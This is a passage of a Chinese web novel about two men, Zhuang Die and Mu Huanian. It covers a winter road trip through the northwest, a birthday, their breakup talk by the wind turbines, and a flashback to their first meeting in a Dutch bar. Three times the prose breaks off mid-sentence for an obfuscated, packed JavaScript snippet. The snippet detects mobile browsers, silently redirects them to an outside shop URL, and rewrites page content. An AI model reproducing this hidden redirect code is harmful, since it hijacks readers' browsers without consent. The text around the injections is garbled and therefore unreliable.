庄迭把车窗摇下来一点,冷风立刻灌了进来。他仰起头闭上眼睛,鼻子很快被吹红了。他大口呼吸着外面的空气,然后慢慢把头缩回来,将手指一根一根伸出去。 风是无形,庄迭能抓住的,不过只是某一个瞬间。 慕华年转头看了他一眼,侧身把后座的毛毯拉过来盖在庄迭身上。庄迭回头说了声谢谢。 “空调吹久了头晕,”庄迭解释道,“到下个收费站休息一下吧,换我开。” “行。” 慕华年手指在地图上快速标好位置,继续双手握着方向盘专心开车。 他这个反应让庄迭觉得有趣。好像不管他说什么,慕华年总能立刻应对。 庄迭把自己代入成慕华年的上司,觉得要是自己有这么得力的下属,肯定也给他升职加薪。 想到这儿庄迭笑了,他发现自己无论代入什么角色,都在想方设法把慕华年留在身边。 不过庄迭的感觉没错,慕华年出发前一晚就把这张地图记在脑子里了,好像预感到自己不会按计划走。 他的人生大多时候都在掌控中,可每次遇到庄迭,他总是会失控。 车到收费站,慕华年下车去卫生间,庄迭靠在车门上发呆。他拢了拢衣服,把拉链一直拉到顶。 今天他穿的是慕华年陪他看烟花时那件灰色羽绒服。早上起来本来要穿大衣,不知怎么就抓起了这件。 这衣服比看起来要薄很多,庄迭那天看慕华年穿没觉得,自己穿上才发现这衣服挺薄的。所以那天晚上冷的不是他一个人,那个吻捂热的也不是他一个人,庄迭双手插在兜里,突然又想那张拍立得。 他们之间好像有越来越多没说清的事情。 “想什么呢?喝水吗?” 慕华年从卫生间出来,去加油站接了热水。他走过来问,但根本没等庄迭回答就把杯子递了过去。 杯子里是他早上泡的红茶,现在是第二泡,味道淡了些。庄迭在嘴里回味了一下,吐掉一点茶叶沫,“有点烫。” 慕华年接过来,吹了吹浮沫,点点头继续喝。 庄迭看着他,他喝的地方就是自己刚才碰过的,但慕华年好像完全没察觉。 “冬天的西北就这样,”慕华年错误理解了庄迭的表情,他开口的时候带着无奈,“挺无聊的,好些景点不开门,就算开门,一场雪下来也都一个样。” “夏天会有什么特别的吗?” 慕华年想了想,抿嘴回答:“有。天气好的时候青海湖的水很透,丹霞的颜色很艳丽,草原上你可以看到老人放牧,成群的小白点在山坡上跑。”说到这,他顿了顿,“你应该会更喜欢夏天。” 慕华年握着保温杯,眼前的景象被升腾的水汽晕开。 路上开始有年后送货的大车,一场热闹的年又过完了,大家马上就要回到各自的位置上了。 “夏天再来一次吧,”庄迭笑着答,朝慕华年伸出手,保温杯在他们手里完成交接,“但我也喜欢西北的冬天,安静,好像一场雪就能盖住所有不好的事情。只要雪没化,这就是个新世界。” 庄迭仰头喝水,一条奔腾着的暖流滑入胃里,像这冬天最后的生机。 “今天几点能到市区?”庄迭又问。 “不停留的话下午三点,”慕华年把杯盖递给庄迭,两人转身往车里走。开门时他顿了顿,“丹霞还开着,想去吗?” 庄迭钻进车里,双手交叠在空调处取暖,“不去了,我还会再来的,留点念想。” 开进市区,路上人也没多起来。大部分人年假只有七天,短暂的团聚后,他们终究如雁南归。 慕华年带着庄迭去吃了张掖的特色炒炮,庄迭笑着说自己可能把一辈子的面食都吃完了,可最后还是吃了满满一碗。他发现自己挺喜欢吃面的,那种裹着酱汁、本身就很有韧劲的面,他喜欢西北的面。 “下午什么安排?”慕华年问。 “回酒店吧,我得开个会。” 慕华年侧头看了庄迭一眼,庄迭笑着挖了一勺甜胚子递过去,说:“怎么这么看着我?我也要工作的。” 慕华年笑了笑吃掉那勺甜胚子,没说话。 回到酒店,慕华年问需不需要回避,庄迭把他那晚说的话重复了一遍。 “矫情。” 看着庄迭在桌前打开电脑,整理了一下衣领,慕华年默默从他身边走过,站在了一个摄像头不会拍到的位置。 “不用,我和远舟还有几个经理开会,他们都认识你。”庄迭说话时带着笑。 慕华年还是静静站在窗边,从窗户的投影里,他能清楚看到庄迭一举一动。 庄迭说荷兰语时带着慵懒,语调轻佻,切换到英语又变得谨慎严肃,反正和这二十天的他不一样。 慕华年没发现自己笑得那么明显,庄迭听到动静看了他一眼,抬手关了麦克风。 “装模作样,想看就看呗,大大方方的。” “认真工作。”慕华年背对着庄迭,声音冷冰冰的,庄迭却笑了。 屏幕那头的路远舟看庄迭关了麦克风,又见他藏不住的笑,大概猜到谁在旁边,低头发短信:“一间屋子?” “不然?” 庄迭回完又打开麦克风,继续听对面的人讲PPT。 过去这些天庄迭当了甩手掌柜,因为他听到唐沉说慕华年休息的时候不打电话,所以他也一心一意地享受这段久违的休假。 今天这场会议是实在推不掉了,只是隔着时差其实可以在深夜开,最后选在下午,他承认有自己的私心。 这心思和二十二岁那年一样。 “会议记录Casey同步给我和各位参会人员,接下来一周记得持续汇报相关项目进程,有任何问题第一时间找我,我的手机二十四小时为各位开机。” 庄迭只要不和慕华年说话,总带着玩世不恭的调调。不过今天参会的都是老员工,没人会因为他最后那句话心动,他们只觉得怎么跨越时区也不能阻止庄迭的手扼在他们的喉咙上。 “开完了?”慕华年问。 庄迭关了电脑走到慕华年身边,天光微斜,一场会两个小时,再抬头已经是下午七点。庄迭点了点头,像是在等什么。 “晚上吃饭吗?” 慕华年挪了挪发麻的腿,庄迭发现了,偷偷在他背后笑。 最开始慕华年是刻意和庄迭保持距离才站在窗边,结果搬石头砸自己的脚。他觉得自己和军训一样,发呆、看庄迭、发呆、再看庄迭,就这么过了两个小时。 “等等。” 话音刚落,酒店前台敲了门,庄迭走过去开门,接过服务员递来的东西,关门时慕华年听到一句“生日快乐”。 “让她抢了先,”庄迭笑了笑,手上提着蛋糕,“生日快乐,慕华年。” 庄迭笑得真好看,慕华年满脑子只剩这个念头。很快他回过神,坐到床边换衣服,“这个日子没忘?” “忘不掉,这个不能忘。” 庄迭把电脑收进包里,让蛋糕独占整张桌子。不过他没算准西北的天色,现在天还亮着,不适合点蜡烛。 “不知道好不好吃,毕竟我第一次来,”庄迭坐在方才开会的椅子上,期待地等着慕华年的动作,“但是我查了攻略,这家是老字号,用的动物奶油,水果新鲜,应该是可以的。” “很好了,谢谢。” 慕华年从不扫兴,虽然他很久不过生日了。他穿着睡衣走过去,小心解开蛋糕上的丝带,把蛋糕盒的四个角轻轻掀开,确保取下来时不会碰到蛋糕本体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111610|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一座雪山,上面撒了糖霜,和他们路过的祁连山很像。 庄迭松了口气,他还怕店家做不出来,看成品倒在他的接受范围内。 “什么时候准备的?” 慕华年盯着蛋糕,声音都甜了几分。 “情人节那晚回酒店。” 庄迭拿出蛋糕附赠的生日帽,慕华年一脸难以置信,但还是任由庄迭给他戴上,甚至还配合着拍了张照。 这次不用感谢时机,慕华年耐心等庄迭选好角度,配合他摆pose,由着他折腾自己。 “那天我总觉得我应该做点什么,因为那束花,”庄迭看了看成片,满意地收起相机,“可我又什么也不敢做,于是选择画画。画出来蛋糕的雏形,选蛋糕店,挑配料,半夜起来又给玫瑰加了点水。那时候我感觉我终于能睡着了。” “怪我咯。” 慕华年嘴角挂着笑,异常温柔。庄迭看着这样的他有些晃神,摇头笑道:“不,我会永远记得那束花。” 花在旅行的第十天就枯了,因为西北太干燥。庄迭想了半天,最后去书店买了本书,《悉达多》。他把玫瑰从枯枝上小心翼翼取下来,夹在了书里。 他可能不会再翻开这本书,但是书会和玫瑰永远在一起。 “可惜天还没黑。” 庄迭和慕华年隔着小小的蛋糕坐着,语气有些懊恼。慕华年嘴角笑意更深,起身去窗前把两层窗帘都拉上。 黑夜提前到来,慕华年为他拨到了冬令时。 “笨。” 慕华年的调侃很轻,庄迭没听见,他沉溺在突然降临的黑夜中欢喜着。他用手机给慕华年照明,引导他回到座位坐好。 “现在可以许愿了。” “我没什么愿望。” 庄迭皱了皱眉,很快调整过来。手机手电筒的光很亮,打在蛋糕上,让普通的桌面变成了悉尼歌剧院的舞台,一座雪山为之哗然。 “人不会没有愿望的,你也不例外。” 庄迭把慕华年看得很透。 慕华年低头笑了一下,“是,但我不想许这个愿。” “庄迭,”慕华年突然抬头,认真地看着他,“我把这个愿望送给你好不好?” “可这是你的生日。” “是啊,所以我的愿望是送你一个愿望。” 庄迭替慕华年许了愿。 他闭着眼睛,最后却由慕华年把蜡烛一根根吹灭,庄迭说这样就成了两个人的愿望。 “好吃吗?” 庄迭重新开灯,一瞬间的光明让慕华年回到现实。他点头,继续认真吃手里的蛋糕。确实是动物奶油,但口感一般,没有庄迭亲手给他做的好吃。 有点可惜庄迭的那幅图。慕华年吃着蛋糕,又看了眼桌上剩下的半座雪山,问:“能吃完吗?” “能吧,”庄迭尝了一口,觉得还可以,就是他们折腾太久蛋糕胚有点湿了,软绵绵的,“慢慢吃,不急。” “张掖是最后一站,我假期结束了,要回江城了。” 慕华年像是不经意提起,可庄迭手里的叉子差点掉在地上。 “嗯。” 庄迭觉得嘴里的草莓突然变得好酸,他眉毛缩成一团,舌尖排斥着那一股突如其来的酸意,最终却只能选择咽下去。 房间里的气流也突然不再流通,空调里的热风只出不进,小小的屋子成了个罩子,庄迭喘不过气。他吃完手里的蛋糕,有些后悔在昨晚冲动地做了。他觉得应该留在今天的,这样慕华年会对这个生日印象更深一点,也对自己印象更深一点。 幼稚的把戏。庄迭抽了张纸擦嘴,走过去轻轻摘掉慕华年的生日帽,“还戴着,傻不傻?” 慕华年低头专心吃蛋糕,庄迭又变成了那个匆匆忙忙的人。他开始收拾行李,翻到那本《悉达多》,把它藏在行李箱最下面。 “明天早上,我们会经过我给你说过的那片风车。” 慕华年收拾好桌子,一个人把蛋糕全吃完了。庄迭“嗯”了一声,背对着他继续整理衣服。 “庄总?” 庄迭破涕为笑,却还是没有回应。慕华年把蛋糕盒提到门外,走过来坐到庄迭身后。 “庄迭,对不起。我知道我在怕什么,所以我不能。” 15. 第 15 章 慕华年一句“对不起”,把庄迭彻底从梦里拽了出来。他说对不起,庄迭就一夜没睡,翻来覆去念叨对不起。 最后三个小时车程,庄迭坐在副驾驶上如坐针毡。他脑子里闪过那些灾难片的画面,竟然隐隐期待真能发生点什么。那些天灾人祸把主角困在高速上,最后总会有人来救,所有的磨难不过是为了让他们多相处一会儿。 算了,那都是电影。庄迭苦笑着调整坐姿,闭上眼睛假装睡觉。 现在多看一眼慕华年,他就多一分舍不得。 “庄迭,抬头。” 慕华年的声音突然响起,庄迭应声抬头,眼前的风车不知疲倦地打转。庄迭下意识说:“真壮观。” 其实他们离风车还远,庄迭看到的只是摇曳的叶片和矗立的白色杆身。风车成群,起起落落在荒原上,是独属于西北的景观。 庄迭突然有些羡慕这些风车,它们抓住了他抓不住的风。 想到这,他忍不住看了眼身边的人。慕华年不知道在想什么,盯着眼前的景色出神。 西北的风车和荷兰不一样,一个弄风一个戏水,一个沉默一个热闹,他第一次去看荷兰的风车是和庄迭一起去的,庄迭给他讲了很多,慕华年说他的家乡也有风车。 今天,他带庄迭看到了。 “庄迭,你还有遗憾吗?” 太多了。 庄迭回避了慕华年的问题,望着转动的风车,耳边是慕华年的呼吸声。 “小时候我喜欢盯着风车发呆,”慕华年再开口时像自言自语,“我爸说风力发电是西北的特色产业,后来我才知道其实不是的。很多地方都有风车,只是我们这里地广人稀,风大,尤其适合。” “所以你想说什么?我也不是非你不可吗?” 庄迭鼻子发酸,下意识想反驳,却被慕华年打断。 “我想过我为什么会变成这样,”慕华年苦笑,语气里透着无力,“但还是没想明白。” 庄迭转过头,慕华年的话没头没尾,他一时没反应过来。 眼前的人手指无意识地在方向盘上敲打,侧过头目送一排排风车远去。他像是庄迭想象中的那条被冰封的河流,只是他没有四季,只有寒冬。 “当初说要带你去的地方,我们都走遍了,我能做的也都做了。庄迭,”慕华年停下车,靠在车门上,“我和这些风车一样,永远都在这。” “所以放心回去,我只是有些累了。” “三年了,你没想清楚,可我想清楚了,我清楚的不得了。” 庄迭突然开口,慕华年却下意识避开他递来的眼神。庄迭下了车,站到慕华年身边。 车停在观景道上,路上的雪融了,隐约露出大地本来的颜色。 “慕华年,我就是没有安全感,就是爱猜忌,这不是你的原因。小时候我妈总是突然消失,她一不见我就慌,特别怕她不要我了。事实上,她就是不要我了。” “这些话我不说你也懂,你多聪明,所以你从来不会让我找不到。可这样的你太好了,”庄迭说到这笑了,声音却开始颤抖,“我怕别人把你抢走,也怕我把你毁了。” 相爱的时候以为其他什么都不重要,分开了才知道这一路走来自己藏了多少谎言和难堪。 庄迭的肺里灌满了西北风的冰凉,他又红了眼睛。 “那时候我还是太天真,我高估了我自己,也低估了生活。我离开生活了半辈子的荷兰和你回来,我以为只有爱我就能活。可是人一旦太在乎一件事情,就会更怕失去,会变得敏感,也会变得尖锐。” “不知道你还记不记得,临走前那个晚上,我问你你究竟爱过我吗。慕华年,你没有回答我。” 慕华年当然记得,他为此了后悔了一千多个日夜。 可此时的慕华年克制着情绪,问:“庄迭,那你怎么又回来了?” “因为后来我想明白了,这都是我给自己找的借口。”庄迭顿了顿,“我不信任你是因为不信任自己,和你没关系。慕华年,你很好很好,真的,我舍不得。” “真的?”慕华年轻轻笑了,“不是的。” 庄迭的说辞漏洞百出,慕华年听出他话里有话,但既然庄迭不愿意说,他也不会再问。 慕华年掏出口袋里的打火机,“啪——”火苗从他的指尖燃起,有疼痛感在从皮肤慢慢渗透进他的血液,随着循环流入心脏。 “那你现在回来,是觉得自己足够强大了吗?” “是。” “可是庄迭,”慕华年打断他,“现在的我,还是不能让你百分百信任。” 这像是个死循环。 庄迭愣住了,他知道慕华年在说什么。 无论是只提了一嘴的庄逸,还是这辈子都不会再见的女人,庄迭否认不了,慕华年说的是实话。 有些东西像是长在身上,庄迭避之不及,可该来的总会来。 “所以其实还是与我有关的。我还是那个我,还是那个无法让你绝对信任的我。” “庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个吻持续了多久,慕华年记不清了。到最后他脑海里只剩下顺从,直到庄迭松开手,他还沉在庄迭气息里。 庄迭唇边也还是慕华年的味道,慕华年却已经不再看他。 这一个月,他们能做的都做了,庄迭也把能说的也都说了,如果换作旁人,可能早就因为慕华年一次次后退而放弃了,可他是庄迭,死缠烂打的事他不是没做过。 慕华年总说他很感激庄迭的爱,让他第一次体会到被爱是什么感觉。可庄迭没有告诉过慕华年,在慕华年出现的那年,他找到了人生的锚点。 “慕华年,你还记得你爱我的样子吗?” 16. 第 16 章 那年冬天。 “叮——” “欢迎光临。” 门铃响起,庄迭拍掉大衣上的水珠,推门走进酒吧。他敏锐地察觉到今晚的问候声换了人,音色更清亮。但他盯着手机上的股票,没有抬头。 “照常。k3包间的人来了吗?” 吧台后的人没应声。庄迭关掉手机走过去,正好对上那人的眼睛。 他自认见过各色人等,却从未目睹过如眼前般的空洞。 “庄迭!这边!”路远舟在包厢门口招手。 庄迭没急着过去,又打量了一眼吧台后的人,可对方已经不动声色地移出了他的视线。庄迭挑眉轻笑,“新来的?” “叫你半天不理,跟人聊上了?” 路远舟勾住他肩膀,也看向那个隐在阴影里的身影。 “感兴趣?”路远舟用中文问。 “东方面孔,亲切。”庄迭也用中文回,说完就朝包厢走去,留下路远舟点了k3的所有酒。 临走前路远舟凑近吧台,用日语试探:“是新来的留学生?” 对方点了点头,回了句“是”。 路远舟在这片混得熟,华人圈子里的人他基本都认识。这个生面孔让他先入为主以为是日本人,因为看打扮,活脱脱日剧里的社畜nerd。 “要是你以后都在这上班,把我们的单记一下,方便。” 吧台里的人点头,随即将手里的雪克杯猛力晃动,卷起的袖子下露出一截白皙劲瘦的手臂,用力时能看出经常锻炼的痕迹。 晃了八下,雪克杯停止,杯中的液体倾倒而下,最后一片薄荷点缀完成,一只修长的手将酒杯往路远舟面前推了推。 透明容器擦得晶莹剔透,路远舟盯着看了会儿,他记得佐伊不是个爱干净的人,有时候他还能在杯子外沿看到上一杯酒残留下的柠檬纤维。眼前这人显然不一样。 “应该是你的。” “厉害呀,今晚小费给你最高档,谢了!” 路远舟刚端起酒,包厢门就从里面打开了。 “你看上了?”庄迭笑着问,目光又一次与吧台后的人对撞。这次他朝对方点了点头,他身后的人陆续从包厢出来。 “太冷了,大厅壁炉暖和,今天坐外面。” 这借口听着就假。 没等路远舟调侃,庄迭已经接过了他手里的酒。和路远舟一样,庄迭第一眼注意到的也是这个干净的杯子。 “看着是让人更有食欲。” 庄迭没头没尾地来了一句,仰头把酒喝完。 “哎你——”路远舟还没说完,庄迭已经举着杯子朝吧台喊:“同样的再来一杯。另外,今天酒单上所有的酒都来一轮。” “哥们疯了?明天试车你忘了?” 庄迭不以为意,他努了努嘴,神情淡然,迈着长腿走到吧台,手里的酒杯落桌时风声大雨点小。 今天的庄迭不对劲,路远舟多少猜到了点原因,他跟着走过去坐下。 “投资有问题?”路远舟瞥了眼调酒师,小声用中文问。 “都在观望,估计等老庄表态呢,”庄迭冷笑,手指摩挲着杯沿,“明天试车照常,我找了新投资人来看,你让车手好好表现。过几天的比赛我亲自上场。” 路远舟叹了口气,收起吊儿郎当的表情,“那我再问问老路,让他帮我们凑凑。” 庄迭没说话,手指收紧了些。 路远舟家里做地产的,赶上这几年房地产下行,他自己要钱的时候心里也打鼓。从创业到现在快三年,前期研发投入远超预期。车还没上市,他已经欠了一屁股债了,而且能不能做成,他没底气。 家里爹妈虽然没说什么,但账上不好看,况且这光投资没回报的事情,老一辈搞实业的哪个能受得了。上个月他刚问家里要了笔钱,走出家门就给了自己一巴掌。 没动心思的时候,他的日子可谓潇洒,创业之后,车库里的车卖了,早年玩票挣得那些钱也全搭进去了。 他没跟庄迭提过这些,可庄迭心里都清楚。 两个人从初中就认识,路远舟可能是除了张宪外和庄迭最亲的人。 而且说是两人创业,但钱基本都是路远舟出的。庄迭能做的就是省吃俭用,申请学校补贴。相比路远舟的投入,他那点钱杯水车薪。所以整个研发他担着近一半的工程量,他付不起钱,他只能出力。 庄迭闷头坐着,酒杯外凝结的水珠顺着手掌滑落,他却像没感觉,盯着地板出神。 恍惚间,庄迭又瞥了眼吧台里那个忙碌的背影。 黑衬衫、黑西裤,像是刚开完组会就来上班的,庄重得和这里格格不入。 不过佐伊那条快包浆的围裙系在他腰上还挺好看的,宽肩窄腰,屁股也挺翘的。 秀色可餐。庄迭被自己这个念头逗乐了,胸口的闷气好像散了些。 “说点别的。你们刚聊了会?套出什么了?”庄迭问。 路远舟摇了摇头,“不爱说话。不过我说日语他能接,口音挺正。” “哦。”庄迭语气里满是惋惜,“可惜了。” 两个人交叠的目光像是要把那身黑衣烫出一轮月亮,好弥补今日无月的雪夜。 “这儿的酒度数高,如果是借给小费引起我注意,没必要。我不缺钱。” 吧台里的人突然转身,他将两杯酒推到二人面前,剩下的酒被服务生端到大厅最热闹的桌子。 “谁都不容易。”这句是中文。 庄迭抬眼看他,觉得他下一句就要说“更何况还是逃到国外的私生子”。 “我去?!” 路远舟嘴唇刚挨到冰块,被这突如其来的中文惊得手一抖。 不过那酒杯没落地,只有些许液体洒在了庄迭的手臂上,他稳稳接住杯子递给路远舟,转头笑着问:“中国人?” 吧台里的人又不说话了,好像方才完全是天外传音。庄迭也不恼,怪只怪自己先对这人产生了兴趣,这几句话反倒让他的好奇心更重了。 有意思。 “合着刚才和我俩演呢?该听的不该听的都听到了?那句‘你看上了’,也听到了?” 不出意外,依旧没有回应。 庄迭端起酒杯仔细端详,给路远舟使了个眼色。对方识相地端着酒一步三回头地走了。 酒吧的灯光不算明媚,暗含挑逗和欲拒还迎,庄迭把手上的酒端着看了又看,顺便隔着液体正大光明地偷窥着酒杯后的人。 那人不回应,但也没离开。灯光在他们之间划出一道楚河汉界。 长相不算惊艳,甚至乍一看还有点正义凌然。头发很短,感觉摸起来手感会很不错。庄迭又抿了口酒,第一次觉得这酒真烈。 “你不缺钱,那怎么来这做夜场?看打扮白天还是个好学生吧,怎么?醉翁之意不在酒?” 庄迭没有要走的意思,再次开口,语言轻浮,他向来就这个调性。但这次吧台后的人有了反应,他笑了一声,转身,庄迭直直望进那对玻璃珠一样毫无杂质的眼睛。 “对啊,不缺钱,缺爱。” 居然会开这种玩笑?没想到。 庄迭挑眉,眼底的兴趣像慢慢发酵的酒,飘散在两人之间的空气中,他点着头说,“那我比你惨,我既缺钱又缺爱。” 那双擦着酒杯的手顿了顿,很快恢复如常。 庄迭自嘲般笑了两声,将手里的酒一口饮尽,杯子落桌的时候动静不小,惹得路远舟都看了这边一眼。 庄迭生气了?路远舟摇头,不能。他生气的时候装得比平时更好,会慢条斯理地把惹他的人折磨到求饶。 “所以他不知道你是谁?”庄迭刚坐下,路远舟就八卦地问。 庄迭笑着摇头,端着桌上的白水漱口,然后又拿起一杯shot。今天的酒劲儿真大,他感觉自己已经醉了。 “我名声不好,今天不知道明天也就知道了。” 路远舟刚想反驳两句,庄迭已经举杯对在场的人喊道:“各位!多谢捧场!认识我的都知道我狗嘴里吐不出象牙,所以这杯我先干为敬!” 众人哄笑。庄迭喝完这杯已经被捂热的酒,又端起下一杯。 “我就这德行,血脏,人脏,心脏。承蒙各位还愿意来我的局。目前公司刚起步,我能给的不多。今天大家喝尽兴,明天车停在赛场上,随便拍,想玩的找领航员,实在不行找我,我带你们兜一圈看看风速。” 烈酒入喉,不知是不是情绪上头,庄迭第一次被酒辣出眼泪。他笑着看眼前云淡风轻的真少爷小姐们。果然他还是不一样,假的就是假的。 今天搞这一出,是因为交际圈就这么大。圈子里约定俗成要先立名,他不喜欢,但还没能力打破规则,至少面子上要过得去。 平时一起玩的朋友大多知根知底,看得出他情绪不高,能少喝就少喝。当然看笑话的也不少,但庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111612|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迭礼数周到,今晚什么牛鬼蛇神都请来了。 “小庄总,”一个庄迭都快叫不上名字的人开腔,庄迭耷拉着脑袋看了他一眼,“听说最后一笔款没到位,明儿试车不受影响吧?” “那您多虑了,”庄迭低头笑着,“钱烧不起来,我拿命烧。” 语气不对,对方也听出来了。庄迭整晚都在笑,但眼底透着蛇一般的冷意。 他从未如此渴望做成一件事,甚至在今天之前都没有过这么强烈的念头。 路远舟回头看向吧台,瞧见两束目光不知从何时起调转了方向,如今是那个沉默的华人帅哥望着庄迭。 这一晚,庄迭把该敬的酒都敬了,喝到最后只剩下胃里的灼烧。西洋酒不比白酒,喝多了像是在喝毒药,可庄迭就是喜欢喝,就像现在一样,让胃部的疼痛感牵扯住意识,混沌中得到片刻平静。 直到最后,庄迭也没开口求着他们投资,他承认自己有点清高。 “小帅哥,”曲终人散,屋子里吵了一晚上终于安静了,送走最后一位朋友,庄迭摇摇晃晃靠在吧台边,“该下班了吧?” “嗯。”吧台里的人解下来围裙,庄迭没想到他会回应,莫名其妙的开心让他眨巴着眼睛望着眼前的人。 “之后你都在吗?” “嗯。”依旧是一个单音节,但庄迭受到了鼓舞,一直笑眯眯地盯着对方。他旁边的路远舟比他清醒点,摸出庄迭的卡递过去。 “我刚提了辆测试车,钱都贴公司了。这顿庄公子买单,你先刷,酒钱应该够。” 吧台里的人没吭声,拿着卡去pos机上打了一下。 “没密码,我记不住。” 庄迭黏糊糊地说,正好回答了对方没问出口的问题。那只拿着卡的手顿了顿,一鼓作气刷掉了今晚的酒单,以及他应得的小费。 他确实没多要一分,因为卡上也确实没钱了。 “您的卡,请收好。” 庄迭伸手去接,不知道是没站稳还是怎么,身子前倾时抓住了对方的手腕。 庄迭的拇指有层薄茧。手腕的主人显然没料到,他被微弱的刺痛一惊,今晚不知道第多少次将目光落在了庄迭身上。 “不好意思啊兄弟,明天要是成了,庆功酒还来这,还得你调。” 庄迭一喝酒就是这副德行,罕见带着他二十二岁该有的少年气,甚至有些娇蛮。路远舟想要帮他打圆场,吧台里的人抬手作罢。 “坐会儿醒醒酒?我还有剩下的柠檬水。” “你可真是活菩萨。”庄迭眯着眼,眼下的皮肤红彤彤的。 吧台里的人没有接庄迭的话。路远舟笑着摆手,“我得走了,回家洗个澡出一身汗就活了。明儿下午还有最后一道检测,我们俩总得有一个在场。” 庄迭酒量不差,今天能醉成这样,路远舟知道更多是情绪作祟,他得缓一缓了。 刚才那场酒喝到一半,庄迭出去了一趟,再回来脸色更差,喝得更猛。路远舟知道他出去打电话了,捞过他的肩膀按了按。 庄迭什么也没说,只在喝酒的间隙时不时看一眼吧台。 这是庄迭人生中第一次向父亲庄均存开口。即便他小时候被庄家人不待见,被人明嘲暗讽,甚至是小学三年级就被送到荷兰,他都没有求过庄均存。 庄迭现在太需要透口气了。 “那你把他留这,我要打扫卫生,结束后还要去休息室赶DDL。他醒了自己走。” 路远舟连忙道谢,顺嘴提出来加微信。原本对方还在犹豫,他直接说是为了庄迭的安全,对方也就应了。 等路远舟走后,庄迭感觉有人架住他的胳膊,动作不算温柔,却让他感受到前所未有的踏实,他索性斜靠在了这道力气上。 “还真是娇贵。” 庄迭觉得自己被骂了,可他没证据。他笑着卖乖,一屁股跌进沙发床里。 “在这躺着,不许乱动,不许乱翻。桌上有柠檬水,拿不稳就别拿,别给我添乱。” “你叫什么?”庄迭乖乖点头,虽然脑子已经处理不了这些信息,但还是眯着眼问,“谢谢你,你叫什么?” 那道背影顿了顿,叹了一口气,回吧台拿了根吸管,长度刚好够庄迭轻松捧着杯子喝水。 “慕华年。” “什么?” “我,慕华年。”声音的主人离开他耳边,又停住脚步,“以后少喝点酒,你酒精过敏。” 17. 第 17 章 庄迭一开始确实有点酒精过敏,后来喝多了也就习惯了,只是偶尔会上脸。他没想到慕华年一眼就看出来了。 合着这人在看他出洋相?庄迭轻笑一声,酒劲上来,倒头就睡。 再醒来时,昨晚的事已经记不清了,就记得一个名字——慕华年。 “慕华年?”没人应声。 庄迭没再试探,起身时瞥见桌上那杯柠檬水,杯子下压着张便签: “我只上晚班,白天要去学校。醒了就自己走。” 语气冷冰冰的,挺无情。可要是真无情,干嘛还留这张便签?庄迭扯了扯嘴角,把便签塞进口袋。 走出酒吧,十月的冷风灌进脖子,皮肤很快就红了。他看了眼手机,正好看到路远舟发来的测试结果——还好,一切顺利,算是今天唯一的好消息。 “今天休息吧,别来了。场子我一个人看得住。我们庄大赛车手养精蓄锐,后天干翻全场!” 庄迭笑了笑。他和路远舟默契地没再提找庄均存投资的事。 大二那年,他和路远舟一拍即合,开始捣鼓动力赛车。一位很看重他的教授发邮件问他要不要读研,庄迭开玩笑说没什么成果,不好意思伸手。 整个大三,庄迭几乎住在实验室,除了佐伊的酒吧,没别的娱乐。路远舟说他这辈子从没这么认真过,庄迭也没否认。 他要是真想当个废物,绝对能当得最称职、最让人满意。 可惜,他不想了。 大三毕业时,他们把一年的成果打包送去参加CUR大赛。TUD在这个比赛上拿过不少奖,那年的荣誉属于两个东方面孔。 拿到奖杯那天,庄迭发了条动态,和他平时花里胡哨的风格完全不同。他只是偶尔沉寂,就迸发出了破茧般的生命力。 教授看到了,发了句“恭喜”。其实他一直很看重庄迭,尽管庄迭总是含糊其辞。而庄迭在别的事上可能吊儿郎当,但懂得感恩。教授刚关掉获奖通知,就收到了他的简历。 “现在再说我是您的学生,不会给您丢人了吧?” 读研后,学校给庄迭的权限更高了。教授花两个月帮他修复了系统里的小bug。两个完美主义者凑在一起,对别人简直是噩梦。路远舟跟了另一个教授,却几乎二十四小时和庄迭待在一起。 “前两天群里还在问,下次聚会咱俩去不去?”路远舟敲代码敲得手指发麻,扭着脖子看旁边缩成一团查bug的庄迭。 庄迭怕冷,可荷兰的冬天又冷又长。 “不去,忙完再说。” “我看前几天有几个姑娘加你微信,一个都看不上?” 庄迭摇头。他对喜欢的定义很严格。在最纯情的年纪,或许会对最亮眼的女孩或男孩心动过,但他把这归咎于生物的本能——阴暗处的人总会被光明吸引。 可光太亮了,他又会睁不开眼,自惭形秽。 项目慢慢成熟后,有几个高年级的想丰富简历,低年级的则对“大神”充满崇拜。他们托教授来问庄迭,想在项目组混个位置。 庄迭来者不拒,但最后只留下三个人。 大家都以为庄迭会靠着庄家的钱把基础设计外包,或者至少换个更好的环境,给研发基地添几台机器。但他从没张过嘴。 这辈子第一次这么迫切地想做成件事,就靠他自己。 然而现实还是推了他一把。昨天庄迭还是给庄均存打了电话,他现在需要一千万。 但那通电话没打通,庄均存根本没接。 抛开他和路远舟三年的付出不谈,团队过去一年几乎全年无休。可要把一个成熟产品做出来,比交个参赛设计难太多了。 庄迭挂掉电话,心烦意乱地去实验室外吹风。半小时后,他收到一笔境外汇款,汇款人是张宪。 他犹豫了一下,还是拨了回去。 “张叔,您这会儿不该在索马里海上会海盗吗?怎么,发横财了?” 